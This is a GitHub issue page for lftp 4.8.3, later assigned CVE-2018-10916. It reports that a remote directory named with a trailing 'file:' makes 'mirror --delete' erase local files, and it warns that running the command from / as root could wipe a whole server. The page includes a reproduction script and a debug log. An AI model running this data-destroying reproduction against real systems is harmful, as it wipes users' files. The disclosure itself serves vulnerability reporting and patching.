Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Warning: This will delete local content on the server you are running the commands from
foobar/file:
--delete
/
root
Script to reproduce:
mkdir -p /var/tmp/ilovethisdir/ touch ilovethisfile cd /var/tmp/ilovethisdir/ mkdir -p /var/tmp/lftptest/foobar/ /usr/local/bin/lftp -d -c 'debug 10; set ftp:ssl-allow 0; open -u example.com,"somepassword" example.com; mkdir -p foobar/file:/ls_/' /usr/local/bin/lftp -d -c 'debug 10; set ftp:ssl-allow 0; open -u example.com,"somepassword" example.com; mirror --verbose=3 --delete --reverse /var/tmp/lftptest /;' ls -l /var/tmp/ilovethisdir/
From log:
Removing old directory `foobar/file:' ---- local cwd is `/var/tmp/ilovethisdir' ---- remove(/var/tmp/ilovethisdir/.) **** .: Invalid argument rm: Access failed: .: Invalid argument
LFTP 4.8.3 Libraries used: Expat 2.0.1, GnuTLS 2.12.23, idn2 2.0.4, Readline 6.0, zlib 1.2.3
The text was updated successfully, but these errors were encountered:
a27e07d
This issue was assigned CVE-2018-10916.
Sorry, something went wrong.
No branches or pull requests
Warning: This will delete local content on the server you are running the commands from
foobar/file:on any FTP server--deletetowards this server, wherefoobar/file:does not exist on the local source./asroot, that means the entire server will be wiped.Script to reproduce:
From log:
LFTP 4.8.3
Libraries used: Expat 2.0.1, GnuTLS 2.12.23, idn2 2.0.4, Readline 6.0, zlib 1.2.3
The text was updated successfully, but these errors were encountered: